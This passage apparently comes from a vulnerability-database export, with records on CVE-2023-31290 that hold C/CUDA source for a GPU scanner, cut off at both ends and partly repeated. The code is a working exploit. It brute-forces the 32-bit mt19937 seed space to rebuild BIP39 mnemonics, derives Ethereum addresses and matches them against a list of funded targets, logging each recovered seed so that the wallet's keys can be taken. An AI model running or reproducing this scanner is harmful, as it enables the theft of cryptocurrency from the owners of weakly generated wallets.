for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:01:26.483307Z"}, {"uuid": "91a7d2dc-a124-41a3-8cfe-9d0302fed893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/bc95b714cf2b6e3c53d09b5dc7cabc69", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 